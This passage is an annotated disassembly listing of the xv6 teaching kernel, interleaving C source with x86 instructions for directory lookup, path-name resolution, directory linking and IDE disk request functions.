80101bbe: 5b pop %ebx
80101bbf: 5e pop %esi
80101bc0: 5f pop %edi
80101bc1: 5d pop %ebp
80101bc2: c3 ret
80101bc3: 90 nop
80101bc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101bc8: 0f b7 46 52 movzwl 0x52(%esi),%eax
80101bcc: 66 83 f8 09 cmp $0x9,%ax
80101bd0: 77 18 ja 80101bea <writei+0x13a>
80101bd2: 98 cwtl
80101bd3: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax
80101bda: 85 c0 test %eax,%eax
80101bdc: 74 0c je 80101bea <writei+0x13a>
return -1;
return devsw[ip->major].write(ip, src, n);
80101bde: 89 4d 10 mov %ecx,0x10(%ebp)
if(n > 0 && off > ip->size){
ip->size = off;
iupdate(ip);
}
return n;
}
80101be1: 83 c4 2c add $0x2c,%esp
80101be4: 5b pop %ebx
80101be5: 5e pop %esi
80101be6: 5f pop %edi
80101be7: 5d pop %ebp
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
80101be8: ff e0 jmp *%eax
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
80101bea: b8 ff ff ff ff mov $0xffffffff,%eax
80101bef: eb ca jmp 80101bbb <writei+0x10b>
80101bf1: eb 0d jmp 80101c00 <namecmp>
80101bf3: 90 nop
80101bf4: 90 nop
80101bf5: 90 nop
80101bf6: 90 nop
80101bf7: 90 nop
80101bf8: 90 nop
80101bf9: 90 nop
80101bfa: 90 nop
80101bfb: 90 nop
80101bfc: 90 nop
80101bfd: 90 nop
80101bfe: 90 nop
80101bff: 90 nop
80101c00 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
80101c00: 55 push %ebp
80101c01: 89 e5 mov %esp,%ebp
80101c03: 83 ec 18 sub $0x18,%esp
return strncmp(s, t, DIRSIZ);
80101c06: 8b 45 0c mov 0xc(%ebp),%eax
80101c09: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101c10: 00
80101c11: 89 44 24 04 mov %eax,0x4(%esp)
80101c15: 8b 45 08 mov 0x8(%ebp),%eax
80101c18: 89 04 24 mov %eax,(%esp)
80101c1b: e8 60 28 00 00 call 80104480 <strncmp>
}
80101c20: c9 leave
80101c21: c3 ret
80101c22: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101c29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101c30 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
80101c30: 55 push %ebp
80101c31: 89 e5 mov %esp,%ebp
80101c33: 57 push %edi
80101c34: 56 push %esi
80101c35: 53 push %ebx
80101c36: 83 ec 2c sub $0x2c,%esp
80101c39: 8b 5d 08 mov 0x8(%ebp),%ebx
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80101c3c: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80101c41: 0f 85 8f 00 00 00 jne 80101cd6 <dirlookup+0xa6>
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
80101c47: 8b 43 58 mov 0x58(%ebx),%eax
80101c4a: 31 f6 xor %esi,%esi
80101c4c: 8d 7d d8 lea -0x28(%ebp),%edi
80101c4f: 85 c0 test %eax,%eax
80101c51: 75 0d jne 80101c60 <dirlookup+0x30>
80101c53: eb 6b jmp 80101cc0 <dirlookup+0x90>
80101c55: 8d 76 00 lea 0x0(%esi),%esi
80101c58: 83 c6 10 add $0x10,%esi
80101c5b: 39 73 58 cmp %esi,0x58(%ebx)
80101c5e: 76 60 jbe 80101cc0 <dirlookup+0x90>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101c60: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101c67: 00
80101c68: 89 74 24 08 mov %esi,0x8(%esp)
80101c6c: 89 7c 24 04 mov %edi,0x4(%esp)
80101c70: 89 1c 24 mov %ebx,(%esp)
80101c73: e8 08 fd ff ff call 80101980 <readi>
80101c78: 83 f8 10 cmp $0x10,%eax
80101c7b: 75 4d jne 80101cca <dirlookup+0x9a>
panic("dirlookup read");
if(de.inum == 0)
80101c7d: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101c82: 74 d4 je 80101c58 <dirlookup+0x28>
continue;
if(namecmp(name, de.name) == 0){
80101c84: 8d 45 da lea -0x26(%ebp),%eax
80101c87: 89 44 24 04 mov %eax,0x4(%esp)
80101c8b: 8b 45 0c mov 0xc(%ebp),%eax
80101c8e: 89 04 24 mov %eax,(%esp)
80101c91: e8 6a ff ff ff call 80101c00 <namecmp>
80101c96: 85 c0 test %eax,%eax
80101c98: 75 be jne 80101c58 <dirlookup+0x28>
// entry matches path element
if(poff)
80101c9a: 8b 45 10 mov 0x10(%ebp),%eax
80101c9d: 85 c0 test %eax,%eax
80101c9f: 74 05 je 80101ca6 <dirlookup+0x76>
*poff = off;
80101ca1: 8b 45 10 mov 0x10(%ebp),%eax
80101ca4: 89 30 mov %esi,(%eax)
inum = de.inum;
80101ca6: 0f b7 55 d8 movzwl -0x28(%ebp),%edx
return iget(dp->dev, inum);
80101caa: 8b 03 mov (%ebx),%eax
80101cac: e8 6f f4 ff ff call 80101120 <iget>
}
}
return 0;
}
80101cb1: 83 c4 2c add $0x2c,%esp
80101cb4: 5b pop %ebx
80101cb5: 5e pop %esi
80101cb6: 5f pop %edi
80101cb7: 5d pop %ebp
80101cb8: c3 ret
80101cb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101cc0: 83 c4 2c add $0x2c,%esp
inum = de.inum;
return iget(dp->dev, inum);
}
}
return 0;
80101cc3: 31 c0 xor %eax,%eax
}
80101cc5: 5b pop %ebx
80101cc6: 5e pop %esi
80101cc7: 5f pop %edi
80101cc8: 5d pop %ebp
80101cc9: c3 ret
if(dp->type != T_DIR)
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlookup read");
80101cca: c7 04 24 99 6e 10 80 movl $0x80106e99,(%esp)
80101cd1: e8 9a e6 ff ff call 80100370 <panic>
{
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
panic("dirlookup not DIR");
80101cd6: c7 04 24 87 6e 10 80 movl $0x80106e87,(%esp)
80101cdd: e8 8e e6 ff ff call 80100370 <panic>
80101ce2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101ce9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101cf0 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101cf0: 55 push %ebp
80101cf1: 89 e5 mov %esp,%ebp
80101cf3: 57 push %edi
80101cf4: 56 push %esi
80101cf5: 53 push %ebx
80101cf6: 89 c3 mov %eax,%ebx
80101cf8: 83 ec 2c sub $0x2c,%esp
struct inode *ip, *next;
if(*path == '/')
80101cfb: 80 38 2f cmpb $0x2f,(%eax)
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101cfe: 89 55 e0 mov %edx,-0x20(%ebp)
80101d01: 89 4d e4 mov %ecx,-0x1c(%ebp)
struct inode *ip, *next;
if(*path == '/')
80101d04: 0f 84 1d 01 00 00 je 80101e27 <namex+0x137>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
80101d0a: e8 21 1a 00 00 call 80103730 <myproc>
80101d0f: 8b 40 68 mov 0x68(%eax),%eax
80101d12: 89 04 24 mov %eax,(%esp)
80101d15: e8 56 f9 ff ff call 80101670 <idup>
80101d1a: 89 c7 mov %eax,%edi
80101d1c: eb 05 jmp 80101d23 <namex+0x33>
80101d1e: 66 90 xchg %ax,%ax
{
char *s;
int len;
while(*path == '/')
path++;
80101d20: 83 c3 01 add $0x1,%ebx
skipelem(char *path, char *name)
{
char *s;
int len;
while(*path == '/')
80101d23: 0f b6 03 movzbl (%ebx),%eax
80101d26: 3c 2f cmp $0x2f,%al
80101d28: 74 f6 je 80101d20 <namex+0x30>
path++;
if(*path == 0)
80101d2a: 84 c0 test %al,%al
80101d2c: 75 1a jne 80101d48 <namex+0x58>
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
80101d2e: 8b 45 e0 mov -0x20(%ebp),%eax
80101d31: 85 c0 test %eax,%eax
80101d33: 0f 85 3b 01 00 00 jne 80101e74 <namex+0x184>
iput(ip);
return 0;
}
return ip;
}
80101d39: 83 c4 2c add $0x2c,%esp
80101d3c: 89 f8 mov %edi,%eax
80101d3e: 5b pop %ebx
80101d3f: 5e pop %esi
80101d40: 5f pop %edi
80101d41: 5d pop %ebp
80101d42: c3 ret
80101d43: 90 nop
80101d44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80101d48: 0f b6 03 movzbl (%ebx),%eax
80101d4b: 89 de mov %ebx,%esi
80101d4d: 84 c0 test %al,%al
80101d4f: 0f 84 a6 00 00 00 je 80101dfb <namex+0x10b>
80101d55: 3c 2f cmp $0x2f,%al
80101d57: 75 0b jne 80101d64 <namex+0x74>
80101d59: e9 9d 00 00 00 jmp 80101dfb <namex+0x10b>
80101d5e: 66 90 xchg %ax,%ax
80101d60: 3c 2f cmp $0x2f,%al
80101d62: 74 0a je 80101d6e <namex+0x7e>
path++;
80101d64: 83 c6 01 add $0x1,%esi
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80101d67: 0f b6 06 movzbl (%esi),%eax
80101d6a: 84 c0 test %al,%al
80101d6c: 75 f2 jne 80101d60 <namex+0x70>
80101d6e: 89 f2 mov %esi,%edx
80101d70: 29 da sub %ebx,%edx
path++;
len = path - s;
if(len >= DIRSIZ)
80101d72: 83 fa 0d cmp $0xd,%edx
80101d75: 0f 8e 85 00 00 00 jle 80101e00 <namex+0x110>
memmove(name, s, DIRSIZ);
80101d7b: 8b 45 e4 mov -0x1c(%ebp),%eax
80101d7e: 89 5c 24 04 mov %ebx,0x4(%esp)
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
path++;
80101d82: 89 f3 mov %esi,%ebx
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
80101d84: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101d8b: 00
80101d8c: 89 04 24 mov %eax,(%esp)
80101d8f: e8 6c 26 00 00 call 80104400 <memmove>
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
80101d94: 80 3e 2f cmpb $0x2f,(%esi)
80101d97: 75 0f jne 80101da8 <namex+0xb8>
80101d99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
path++;
80101da0: 83 c3 01 add $0x1,%ebx
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
80101da3: 80 3b 2f cmpb $0x2f,(%ebx)
80101da6: 74 f8 je 80101da0 <namex+0xb0>
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
while((path = skipelem(path, name)) != 0){
80101da8: 85 db test %ebx,%ebx
80101daa: 74 82 je 80101d2e <namex+0x3e>
ilock(ip);
80101dac: 89 3c 24 mov %edi,(%esp)
80101daf: e8 ec f8 ff ff call 801016a0 <ilock>
if(ip->type != T_DIR){
80101db4: 66 83 7f 50 01 cmpw $0x1,0x50(%edi)
80101db9: 0f 85 7e 00 00 00 jne 80101e3d <namex+0x14d>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
80101dbf: 8b 45 e0 mov -0x20(%ebp),%eax
80101dc2: 85 c0 test %eax,%eax
80101dc4: 74 09 je 80101dcf <namex+0xdf>
80101dc6: 80 3b 00 cmpb $0x0,(%ebx)
80101dc9: 0f 84 93 00 00 00 je 80101e62 <namex+0x172>
// Stop one level early.
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
80101dcf: 8b 45 e4 mov -0x1c(%ebp),%eax
80101dd2: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101dd9: 00
80101dda: 89 3c 24 mov %edi,(%esp)
80101ddd: 89 44 24 04 mov %eax,0x4(%esp)
80101de1: e8 4a fe ff ff call 80101c30 <dirlookup>
iunlockput(ip);
80101de6: 89 3c 24 mov %edi,(%esp)
if(nameiparent && *path == '\0'){
// Stop one level early.
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
80101de9: 85 c0 test %eax,%eax
80101deb: 89 c6 mov %eax,%esi
80101ded: 74 62 je 80101e51 <namex+0x161>
iunlockput(ip);
return 0;
}
iunlockput(ip);
80101def: e8 3c fb ff ff call 80101930 <iunlockput>
ip = next;
80101df4: 89 f7 mov %esi,%edi
80101df6: e9 28 ff ff ff jmp 80101d23 <namex+0x33>
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80101dfb: 31 d2 xor %edx,%edx
80101dfd: 8d 76 00 lea 0x0(%esi),%esi
path++;
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
80101e00: 8b 45 e4 mov -0x1c(%ebp),%eax
80101e03: 89 54 24 08 mov %edx,0x8(%esp)
80101e07: 89 5c 24 04 mov %ebx,0x4(%esp)
name[len] = 0;
80101e0b: 89 f3 mov %esi,%ebx
path++;
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
80101e0d: 89 55 dc mov %edx,-0x24(%ebp)
80101e10: 89 04 24 mov %eax,(%esp)
80101e13: e8 e8 25 00 00 call 80104400 <memmove>
name[len] = 0;
80101e18: 8b 55 dc mov -0x24(%ebp),%edx
80101e1b: 8b 45 e4 mov -0x1c(%ebp),%eax
80101e1e: c6 04 10 00 movb $0x0,(%eax,%edx,1)
80101e22: e9 6d ff ff ff jmp 80101d94 <namex+0xa4>
namex(char *path, int nameiparent, char *name)
{
struct inode *ip, *next;
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
80101e27: ba 01 00 00 00 mov $0x1,%edx
80101e2c: b8 01 00 00 00 mov $0x1,%eax
80101e31: e8 ea f2 ff ff call 80101120 <iget>
80101e36: 89 c7 mov %eax,%edi
80101e38: e9 e6 fe ff ff jmp 80101d23 <namex+0x33>
ip = idup(myproc()->cwd);
while((path = skipelem(path, name)) != 0){
ilock(ip);
if(ip->type != T_DIR){
iunlockput(ip);
80101e3d: 89 3c 24 mov %edi,(%esp)
return 0;
80101e40: 31 ff xor %edi,%edi
ip = idup(myproc()->cwd);
while((path = skipelem(path, name)) != 0){
ilock(ip);
if(ip->type != T_DIR){
iunlockput(ip);
80101e42: e8 e9 fa ff ff call 80101930 <iunlockput>
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101e47: 83 c4 2c add $0x2c,%esp
80101e4a: 89 f8 mov %edi,%eax
80101e4c: 5b pop %ebx
80101e4d: 5e pop %esi
80101e4e: 5f pop %edi
80101e4f: 5d pop %ebp
80101e50: c3 ret
// Stop one level early.
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
iunlockput(ip);
80101e51: e8 da fa ff ff call 80101930 <iunlockput>
return 0;
80101e56: 31 ff xor %edi,%edi
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101e58: 83 c4 2c add $0x2c,%esp
80101e5b: 5b pop %ebx
80101e5c: 89 f8 mov %edi,%eax
80101e5e: 5e pop %esi
80101e5f: 5f pop %edi
80101e60: 5d pop %ebp
80101e61: c3 ret
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
// Stop one level early.
iunlock(ip);
80101e62: 89 3c 24 mov %edi,(%esp)
80101e65: e8 16 f9 ff ff call 80101780 <iunlock>
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101e6a: 83 c4 2c add $0x2c,%esp
80101e6d: 89 f8 mov %edi,%eax
80101e6f: 5b pop %ebx
80101e70: 5e pop %esi
80101e71: 5f pop %edi
80101e72: 5d pop %ebp
80101e73: c3 ret
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
iput(ip);
80101e74: 89 3c 24 mov %edi,(%esp)
return 0;
80101e77: 31 ff xor %edi,%edi
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
iput(ip);
80101e79: e8 52 f9 ff ff call 801017d0 <iput>
return 0;
80101e7e: e9 b6 fe ff ff jmp 80101d39 <namex+0x49>
80101e83: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101e89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101e90 <dirlink>:
}
// Write a new directory entry (name, inum) into the directory dp.
int
dirlink(struct inode *dp, char *name, uint inum)
{
80101e90: 55 push %ebp
80101e91: 89 e5 mov %esp,%ebp
80101e93: 57 push %edi
80101e94: 56 push %esi
80101e95: 53 push %ebx
80101e96: 83 ec 2c sub $0x2c,%esp
80101e99: 8b 75 08 mov 0x8(%ebp),%esi
int off;
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
80101e9c: 8b 45 0c mov 0xc(%ebp),%eax
80101e9f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101ea6: 00
80101ea7: 89 34 24 mov %esi,(%esp)
80101eaa: 89 44 24 04 mov %eax,0x4(%esp)
80101eae: e8 7d fd ff ff call 80101c30 <dirlookup>
80101eb3: 85 c0 test %eax,%eax
80101eb5: 0f 85 89 00 00 00 jne 80101f44 <dirlink+0xb4>
iput(ip);
return -1;
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
80101ebb: 8b 56 58 mov 0x58(%esi),%edx
80101ebe: 31 db xor %ebx,%ebx
80101ec0: 8d 7d d8 lea -0x28(%ebp),%edi
80101ec3: 85 d2 test %edx,%edx
80101ec5: 75 11 jne 80101ed8 <dirlink+0x48>
80101ec7: eb 33 jmp 80101efc <dirlink+0x6c>
80101ec9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101ed0: 83 c3 10 add $0x10,%ebx
80101ed3: 39 5e 58 cmp %ebx,0x58(%esi)
80101ed6: 76 24 jbe 80101efc <dirlink+0x6c>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101ed8: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101edf: 00
80101ee0: 89 5c 24 08 mov %ebx,0x8(%esp)
80101ee4: 89 7c 24 04 mov %edi,0x4(%esp)
80101ee8: 89 34 24 mov %esi,(%esp)
80101eeb: e8 90 fa ff ff call 80101980 <readi>
80101ef0: 83 f8 10 cmp $0x10,%eax
80101ef3: 75 5e jne 80101f53 <dirlink+0xc3>
panic("dirlink read");
if(de.inum == 0)
80101ef5: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101efa: 75 d4 jne 80101ed0 <dirlink+0x40>
break;
}
strncpy(de.name, name, DIRSIZ);
80101efc: 8b 45 0c mov 0xc(%ebp),%eax
80101eff: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101f06: 00
80101f07: 89 44 24 04 mov %eax,0x4(%esp)
80101f0b: 8d 45 da lea -0x26(%ebp),%eax
80101f0e: 89 04 24 mov %eax,(%esp)
80101f11: e8 ca 25 00 00 call 801044e0 <strncpy>
de.inum = inum;
80101f16: 8b 45 10 mov 0x10(%ebp),%eax
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101f19: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101f20: 00
80101f21: 89 5c 24 08 mov %ebx,0x8(%esp)
80101f25: 89 7c 24 04 mov %edi,0x4(%esp)
if(de.inum == 0)
break;
}
strncpy(de.name, name, DIRSIZ);
de.inum = inum;
80101f29: 66 89 45 d8 mov %ax,-0x28(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101f2d: 89 34 24 mov %esi,(%esp)
80101f30: e8 7b fb ff ff call 80101ab0 <writei>
80101f35: 83 f8 10 cmp $0x10,%eax
80101f38: 75 25 jne 80101f5f <dirlink+0xcf>
panic("dirlink");
return 0;
80101f3a: 31 c0 xor %eax,%eax
}
80101f3c: 83 c4 2c add $0x2c,%esp
80101f3f: 5b pop %ebx
80101f40: 5e pop %esi
80101f41: 5f pop %edi
80101f42: 5d pop %ebp
80101f43: c3 ret
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
iput(ip);
80101f44: 89 04 24 mov %eax,(%esp)
80101f47: e8 84 f8 ff ff call 801017d0 <iput>
return -1;
80101f4c: b8 ff ff ff ff mov $0xffffffff,%eax
80101f51: eb e9 jmp 80101f3c <dirlink+0xac>
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
80101f53: c7 04 24 a8 6e 10 80 movl $0x80106ea8,(%esp)
80101f5a: e8 11 e4 ff ff call 80100370 <panic>
}
strncpy(de.name, name, DIRSIZ);
de.inum = inum;
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink");
80101f5f: c7 04 24 7e 74 10 80 movl $0x8010747e,(%esp)
80101f66: e8 05 e4 ff ff call 80100370 <panic>
80101f6b: 90 nop
80101f6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101f70 <namei>:
return ip;
}
struct inode*
namei(char *path)
{
80101f70: 55 push %ebp
char name[DIRSIZ];
return namex(path, 0, name);
80101f71: 31 d2 xor %edx,%edx
return ip;
}
struct inode*
namei(char *path)
{
80101f73: 89 e5 mov %esp,%ebp
80101f75: 83 ec 18 sub $0x18,%esp
char name[DIRSIZ];
return namex(path, 0, name);
80101f78: 8b 45 08 mov 0x8(%ebp),%eax
80101f7b: 8d 4d ea lea -0x16(%ebp),%ecx
80101f7e: e8 6d fd ff ff call 80101cf0 <namex>
}
80101f83: c9 leave
80101f84: c3 ret
80101f85: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101f90 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80101f90: 55 push %ebp
return namex(path, 1, name);
80101f91: ba 01 00 00 00 mov $0x1,%edx
return namex(path, 0, name);
}
struct inode*
nameiparent(char *path, char *name)
{
80101f96: 89 e5 mov %esp,%ebp
return namex(path, 1, name);
80101f98: 8b 4d 0c mov 0xc(%ebp),%ecx
80101f9b: 8b 45 08 mov 0x8(%ebp),%eax
}
80101f9e: 5d pop %ebp
}
struct inode*
nameiparent(char *path, char *name)
{
return namex(path, 1, name);
80101f9f: e9 4c fd ff ff jmp 80101cf0 <namex>
...
80101fb0 <idestart>:
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80101fb0: 55 push %ebp
80101fb1: 89 e5 mov %esp,%ebp
80101fb3: 56 push %esi
80101fb4: 89 c6 mov %eax,%esi
80101fb6: 53 push %ebx
80101fb7: 83 ec 10 sub $0x10,%esp
if(b == 0)
80101fba: 85 c0 test %eax,%eax
80101fbc: 0f 84 99 00 00 00 je 8010205b <idestart+0xab>
panic("idestart");
if(b->blockno >= FSSIZE)
80101fc2: 8b 48 08 mov 0x8(%eax),%ecx
80101fc5: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx
80101fcb: 0f 87 7e 00 00 00 ja 8010204f <idestart+0x9f>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101fd1: ba f7 01 00 00 mov $0x1f7,%edx
80101fd6: 66 90 xchg %ax,%ax
80101fd8: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80101fd9: 25 c0 00 00 00 and $0xc0,%eax
80101fde: 83 f8 40 cmp $0x40,%eax
80101fe1: 75 f5 jne 80101fd8 <idestart+0x28>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101fe3: 31 db xor %ebx,%ebx
80101fe5: ba f6 03 00 00 mov $0x3f6,%edx
80101fea: 89 d8 mov %ebx,%eax
80101fec: ee out %al,(%dx)
80101fed: ba f2 01 00 00 mov $0x1f2,%edx
80101ff2: b8 01 00 00 00 mov $0x1,%eax
80101ff7: ee out %al,(%dx)
80101ff8: b2 f3 mov $0xf3,%dl
80101ffa: 89 c8 mov %ecx,%eax
80101ffc: ee out %al,(%dx)
idewait(0);
outb(0x3f6, 0); // generate interrupt
outb(0x1f2, sector_per_block); // number of sectors
outb(0x1f3, sector & 0xff);
outb(0x1f4, (sector >> 8) & 0xff);
80101ffd: 89 c8 mov %ecx,%eax
80101fff: b2 f4 mov $0xf4,%dl
80102001: c1 f8 08 sar $0x8,%eax
80102004: ee out %al,(%dx)
80102005: b2 f5 mov $0xf5,%dl
80102007: 89 d8 mov %ebx,%eax
80102009: ee out %al,(%dx)
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
8010200a: 8b 46 04 mov 0x4(%esi),%eax
8010200d: b2 f6 mov $0xf6,%dl
8010200f: 83 e0 01 and $0x1,%eax
80102012: c1 e0 04 shl $0x4,%eax
80102015: 83 c8 e0 or $0xffffffe0,%eax
80102018: ee out %al,(%dx)
if(b->flags & B_DIRTY){
80102019: f6 06 04 testb $0x4,(%esi)
8010201c: 75 12 jne 80102030 <idestart+0x80>
8010201e: ba f7 01 00 00 mov $0x1f7,%edx
80102023: b8 20 00 00 00 mov $0x20,%eax
80102028: ee out %al,(%dx)
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
} else {
outb(0x1f7, read_cmd);
}
}
80102029: 83 c4 10 add $0x10,%esp
8010202c: 5b pop %ebx
8010202d: 5e pop %esi
8010202e: 5d pop %ebp
8010202f: c3 ret
80102030: b2 f7 mov $0xf7,%dl
80102032: b8 30 00 00 00 mov $0x30,%eax
80102037: ee out %al,(%dx)
}
static inline void
outsl(int port, const void *addr, int cnt)
{
asm volatile("cld; rep outsl" :
80102038: b9 80 00 00 00 mov $0x80,%ecx
outb(0x1f4, (sector >> 8) & 0xff);
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
if(b->flags & B_DIRTY){
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
8010203d: 83 c6 5c add $0x5c,%esi
80102040: ba f0 01 00 00 mov $0x1f0,%edx
80102045: fc cld
80102046: f3 6f rep outsl %ds:(%esi),(%dx)
} else {
outb(0x1f7, read_cmd);
}
}
80102048: 83 c4 10 add $0x10,%esp
8010204b: 5b pop %ebx
8010204c: 5e pop %esi
8010204d: 5d pop %ebp
8010204e: c3 ret
idestart(struct buf *b)
{
if(b == 0)
panic("idestart");
if(b->blockno >= FSSIZE)
panic("incorrect blockno");
8010204f: c7 04 24 14 6f 10 80 movl $0x80106f14,(%esp)
80102056: e8 15 e3 ff ff call 80100370 <panic>
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
if(b == 0)
panic("idestart");
8010205b: c7 04 24 0b 6f 10 80 movl $0x80106f0b,(%esp)
80102062: e8 09 e3 ff ff call 80100370 <panic>
80102067: 89 f6 mov %esi,%esi
80102069: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102070 <ideinit>:
return 0;
}
void
ideinit(void)
{
80102070: 55 push %ebp
80102071: 89 e5 mov %esp,%ebp
80102073: 83 ec 18 sub $0x18,%esp
int i;
initlock(&idelock, "ide");
80102076: c7 44 24 04 26 6f 10 movl $0x80106f26,0x4(%esp)
8010207d: 80
8010207e: c7 04 24 60 a5 10 80 movl $0x8010a560,(%esp)
80102085: e8 86 20 00 00 call 80104110 <initlock>
ioapicenable(IRQ_IDE, ncpu - 1);
8010208a: a1 00 2d 11 80 mov 0x80112d00,%eax
8010208f: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102096: 83 e8 01 sub $0x1,%eax
80102099: 89 44 24 04 mov %eax,0x4(%esp)
8010209d: e8 5e 02 00 00 call 80102300 <ioapicenable>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801020a2: ba f7 01 00 00 mov $0x1f7,%edx
801020a7: 90 nop
801020a8: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801020a9: 25 c0 00 00 00 and $0xc0,%eax
801020ae: 83 f8 40 cmp $0x40,%eax
801020b1: 75 f5 jne 801020a8 <ideinit+0x38>
}
static inline void
outb(ushort port, uchar data)
{
